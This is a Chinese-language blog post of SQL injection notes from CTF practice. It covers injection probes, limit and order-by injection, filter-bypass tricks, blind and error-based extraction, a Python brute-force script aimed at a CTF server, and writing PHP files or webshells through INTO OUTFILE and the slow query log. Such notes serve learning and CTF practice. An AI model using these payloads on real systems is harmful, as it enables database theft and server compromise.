Toc
  1. 检测是否存在注入点
    1. 正常的查询或者insert语句
    2. 特殊的查询语句与注入点
      1. limit注入
      2. order by注入
  2. 查询表名列名以及数据
    1. 常见,无过滤情况下的注入方法
      1. 直接闭合或者直接注入
      2. 布尔盲注
      3. 时间盲注
        1. 五种时间盲注
      4. 报错注入
        1. 使用库中不存在的函数
    2. 绕过过滤的骚操作
      1. 常规过滤
      2. 过滤了information_schema、columns、tables、database、schema等关键字
        1. innodb
        2. sys数据库
        3. 通过join报错获取列名
        4. 使用子查询绕过列名
        5. 生僻函数报错出表名
        6. 使用order by 盲注
  3. Update,Insert语句的注入
  4. 其他类型的注入
    1. 读写文件
    2. 写文件功能
      1. 1、需要的权限
      2. 2、into outfile写文件
      3. 3、日志写文件
    3. 读文件功能
      1. 1、load_file读取文件
      2. 2、load data infile()读文件
    4. .mysql.history
Toc
0 results found
Rayi
sql注入笔记

这两天做了不少sql注入的题,遇到不知道的知识点真的是想到死都想不出来,还得依靠大佬和谷歌(笑)

有空了来做个总结,按照SQL注入的顺序

检测是否存在注入点

正常的查询或者insert语句

检测的方法有许多,例如检测是否有报错,联合查询的结果能不能回显,能否进行延时,能否堆叠注入等

?id=1'
?id=1"
?id=1')
?id=1")
?id=1' and 1=2#
?id=1' and sleep(5)#
?id=1' union select 1,2,3#
?id=1' and 1=2 or '
?id=1';select sleep(5);#

特殊的查询语句与注入点

limit注入

适用语句:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]

因为order by的存在,我们无法使用union关键字,但是经过查阅mysql5.x文档的select使用语法,可以发现在limit语句后还有PROCEDURE 和 INTO 关键字

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

重点在于PROCEDURE存储过程关键字可以执行某些函数

payload在我本地实验时并没有打通,后来百度可知该方法只适用于5.0.0<mysql<5.6.6的版本

在这里先借用别人的执行结果

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

sleep函数无法使用,只能用benchmark延时。

例题:

hacking lab inject 04

image-20191208192058651

order by注入

下面还有一个order by盲注跟这个有些许不同

先说这里,这里order by注入指的是注入点在order by语句处

select id,name,price from goods order by [注入点]

在这里能用到的注入方法有布尔盲注,时间盲注和报错注入

布尔盲注

28

可以看到,当判断结果不同时,页面返回的结果也就不同

image-20191208193600229

由此我们可以盲注处数据

同理,可以利用时间盲注

如果页面报错有回显的话,报错注入显然是个更好的选择

image-20191208193828309

查询表名列名以及数据

常见,无过滤情况下的注入方法

直接闭合或者直接注入

布尔盲注

时间盲注

五种时间盲注

链接)

报错注入

基本注入方法不再赘述

新操作:

使用库中不存在的函数

使用一个不存在的函数时,会爆出库名

mysql> select 1 and sdf();
ERROR 1305 (42000): FUNCTION security.sdf does not exist

绕过过滤的骚操作

常规过滤

1.1 注释符绕过
常用注释符:
//, -- , /**/, #, --+, -- -, ;,%00,--a
U/**/NION/**/SE/**/LECT/**/user,pwd/**/from/**/user

1.2 大小写绕过
?id=1+UnIoN/**/SeLeCT

1.3 内联注释绕过
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

1.8 +,-,.号拆解字符串绕过
?id=1' or '11+11'='11+11'
"-"和"."

1.9 like绕过
?id=1'or1 like 1
绕过对“=”,“>”等的过滤

#宽字节注入
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27

#过滤and,or
&&(注意要url编码后使用%26%26,否则会被识别成分隔两个变量的字符)
||

#过滤=
可以使用<>或者like或者是in

过滤了information_schema、columns、tables、database、schema等关键字

过滤这些关键字时我们一般无法通过常用方法获取表名,列名

先是用骚操作获取表名的方法:

以下大部分特殊数据库都是在mysql5.7以后的版本才有

innodb

如果数据库的数据表的引擎为innodb,则会在mysql.innodb_table_stats

mysql.innodb_index_stats中记录表的信息

image-20191208222837051

image-20191208222907558

sys数据库

里面存储整合了整个数据库的许多资料,资料用处暂且不提,从中我们可以获取大部分数据库名和表名

例如:sys.schema_table_statistics_with_buffer

存储了所有数据库的表名

image-20191208223831985

还有:sys.schema_object_overview

存储了所有数据库名

image-20191208223954326

更有趣的:statement_analysis

记录了我们执行过的所有语句

说不定能直接看到flag(笑)

image-20191208224135535

image-20191208224256131


通过上述操作,一般能获取到表名

然后是获取列名

通过join报错获取列名

先介绍下join的作用机理:

如果现在有两个表stu和class

20191112210318957

20191112210318957

我们执行stu join class后,结果为:

image-20191209085705203

通过上面的例子总结一下:

  • join后的列名是两个表列名加起来的,可能会产生相同的列名,如id 和 name
  • 先用表stu中的一行数据和表class中的每一行数据不断的拼接,产生新的行
  • 再用表stu的第二行去和表class中的每一行数据拼接,以此类推
  • 表stu是3行,表class是2行,所以按照上面的规律会产成3*2 = 6行的新的表

然后再来看下别名

使用别名时,表中不能出现同的字段名,这就跟join第一个特点相冲突,所以在join和别名同时使用时会导致报错

mysql> select * from (select * from users join users as a) as b;
ERROR 1060 (42S21): Duplicate column name 'id'

使用using可以爆其他字段

mysql> select * from (select * from users join users as b using(id)) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
使用子查询绕过列名

我们可以在不知道列名的情况下查询出数据

即用子查询把列名覆盖掉(得先测出这个表有多少列)

mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
14 rows in set (0.00 sec)

这样我们就可以用自己构造的列名查询数据了

mysql> select a.3 from (select 1,2,3 union select * from users) as a;
+------------+
| 3          |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
| genious    |
| mob!le     |
| admin      |
| admin1     |
| admin2     |
| admin3     |
| dumbo      |
| admin4     |
+------------+
14 rows in set (0.00 sec)

也可以这样:

mysql> select `3` from (select 1,2,3 union select * from users) as a;
+------------+
| 3          |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
| genious    |
| mob!le     |
| admin      |
| admin1     |
| admin2     |
| admin3     |
| dumbo      |
| admin4     |
+------------+
14 rows in set (0.00 sec)
生僻函数报错出表名
mysql> select * from users where id=1 and Polygon(id);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`id`' value found during parsing

/*同理,还有
linestring()
multiPolygon(id)
multilinestring(id)
GeometryCollection(id)
MultiPoint(id)
*/
使用order by 盲注

如果注入的时候没有报错,我们又不知道列名,就只能用order by 盲注了

当然,在过滤了括号的时候,order by盲注也是个很好的办法

order by 的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),其排序比较字符的ascii码大小,从第一位开始比较,第一位相同时比较下一位。

例如,我们按照第三列进行排序

mysql> select 1,2,'A' union select * from users order by 3;
+----+----------+------------+
| 1  | 2        | A          |
+----+----------+------------+
|  1 | 2        | A          |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 14 | admin4   | admin4     |
|  4 | secure   | crappy     |
|  1 | Dumb     | Dumb       |
| 12 | dhakkan  | dumbo      |
|  6 | superman | genious    |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  3 | Dummy    | p@ssword   |
|  5 | stupid   | stupidity  |
+----+----------+------------+
14 rows in set (0.00 sec)
mysql> select 1,2,'b' union select * from users order by 3;
+----+----------+------------+
| 1  | 2        | b          |
+----+----------+------------+
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 14 | admin4   | admin4     |
|  1 | 2        | b          |
|  4 | secure   | crappy     |
|  1 | Dumb     | Dumb       |
| 12 | dhakkan  | dumbo      |
|  6 | superman | genious    |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  3 | Dummy    | p@ssword   |
|  5 | stupid   | stupidity  |
+----+----------+------------+
14 rows in set (0.00 sec)

我们可以根据这个特点进行盲注

例如iscc2019的一道题,网页只显示第二列的数据

image-20191209100610761

我们就可以使用order by盲注一位一位的测出数据

例如:

 mysql> select * from users where username='Dumb' union select 1,2,'D' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | D        |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username='Dumb' union select 1,2,'Du' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | Du       |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username='Dumb' union select 1,2,'Dv' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | Dv       |
+----+----------+----------+
2 rows in set (0.00 sec)

在查询到Dv时出现了变化,网页上的内容也改变了,于是,我们就可以知道password的第二位为v的前一个字母

那个题目的脚本:


s = requests.session()
url = 'http://39.100.83.188:8054/'
data = {"username":"union_373_Tom'/*"}
headers = {"User-Agent":"Union.37 Union.373"}
flag = ''
for j in range(15)://当最后print的flag值无变化时注入完成。此值不一定为15,根据flag长度调整
    for i in range(33,127)://不要使用字典
        data["password"]="*/ union select 1,2,'{0}{1}' order by 3,'".format(flag,chr(i))
        web = s.post(url,data=data,headers=headers)
        if 'union_373_Tom' in str(web.content,encoding='utf8')://直接web.text会出现编码问题,所以没那么写
            flag += chr(i-1)
            print('flag:'+flag)
            j+=1
            break

Update,Insert语句的注入

其他类型的注入

读写文件

  • 利用 into outfile写文件
  • 利用日志写文件
  • 备份数据库写文件?
  • 利用load_file()读文件
  • 利用load data infile()读文件

写文件功能

1、需要的权限

  • 目标目录要有可写权限
  • 当前数据库用户要有FILE权限
  • 目标文件不能已存在
  • secure_file_priv的值为空
  • 路径完整

secure_file_priv

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL

secure_file_priv值查看和修改

查看:

mysql> show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set (0.00 sec)

注入的时候也可以通过全局变量查询该值的值

select+@@GLOBAL.slow_query_log

1565938389838

修改:

win和linux下都是在配置文件中的[mysqld]选项下加入secure_file_priv =

加上后再查找的效果是这样的

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

2、into outfile写文件

语句

select "<?php phpinfo(); ?>" into outfile "/var/www/html/1.php";

如果权限配置没有问题的话,网站根目录下就会多出一个1.php,内容为我们写的代码。

3、日志写文件

mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志

我们主要利用慢查询日志来写shell,步骤大致分为三步

1)设置slow_query_log=1.即启用慢查询日志(默认禁用)。

mysql> show variables like '%slow_query_log%';
+----------------+-------+
| Variable_name  | Value |
+----------------+-------+
| slow_query_log | ON    |
+----------------+-------+
1 row in set (0.00 sec)

利用堆叠注入,执行开启慢查询日志的语句

set global slow_query_log=1;

现在看一下,慢查询日志已经被开启了

mysql> show variables like '%slow_query_log%';
+----------------+-------+
| Variable_name  | Value |
+----------------+-------+
| slow_query_log | ON    |
+----------------+-------+
1 row in set (0.00 sec)

2)伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='dir/filename'

mysql> show variables like '%slow_query_log%';
+---------------------+-----------------------------+
| Variable_name       | Value                       |
+---------------------+-----------------------------+
| slow_query_log      | ON                          |
| slow_query_log_file | /www/wwwroot/html/shell.php |
+---------------------+-----------------------------+
2 rows in set (0.00 sec)

3)向日志文件写入shell

读文件功能

1、load_file读取文件

同样需要修改secure_file_priv参数

shell.php中内容为123

load_file('/www/wwwroot/html/shell.php')

2、load data infile()读文件

同样需要修改secure_file_priv参数

load data infile '文件名' into table 表名

1565927856673

1565927896690

文件内容被读入了id这一列中

.mysql.history

不算是注入

但是跟数据库沾边

先记下来

.mysql.history里面记录了使用过的mysql命令

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!